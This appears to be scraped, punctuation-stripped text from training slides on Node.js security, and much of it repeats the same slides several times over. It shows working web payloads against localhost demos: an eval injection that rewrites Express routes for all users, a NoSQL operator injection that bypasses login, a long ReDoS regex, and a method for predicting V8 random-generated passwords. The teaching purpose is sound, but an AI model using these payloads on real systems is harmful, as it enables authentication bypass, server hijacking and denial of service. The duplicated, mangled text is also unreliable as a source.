a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
DoS
Function sum (p)
for (i=1ilt=p++i)
f=f+i
This makes nodejs highly vulnerable to DoS
httplocalhost49090sump=5
httplocalhost49090sump=100000000
httplocalhost49090sump=5
Nodejs as a web server
There is no hosting web server (IIS Tomcat etchellip) Your code is
responsible for handling the incoming requests
No separation between the web-servicing part and the business
logic part
All run within the same thread within the same context
Nodejs as a web server
var http = require(http)
var server = httpcreateServer(function(req res)
switch (reqmethod)
case POST
var item =
reqon(data function(chunk)
item += chunk
)
reqon(end function()
resend(OKn)
)
break
case GET
)
serverlisten(3000)
V8rsquos default PRNG
V8rsquos default PRNG
V8 PRNG is known to be weak
For example check Amit Kleinrsquos
httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr
andom_vulnerabilitypdf
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Nodejs as a web server
There is no hosting web server (IIS Tomcat etchellip) Your code is
responsible for handling the incoming requests
No separation between the web-servicing part and the business
logic part
All run within the same thread within the same context
Nodejs as a web server
var http = require(http)
var server = httpcreateServer(function(req res)
switch (reqmethod)
case POST
var item =
reqon(data function(chunk)
item += chunk
)
reqon(end function()
resend(OKn)
)
break
case GET
)
serverlisten(3000)
V8rsquos default PRNG
V8rsquos default PRNG
V8 PRNG is known to be weak
For example check Amit Kleinrsquos
httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr
andom_vulnerabilitypdf
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
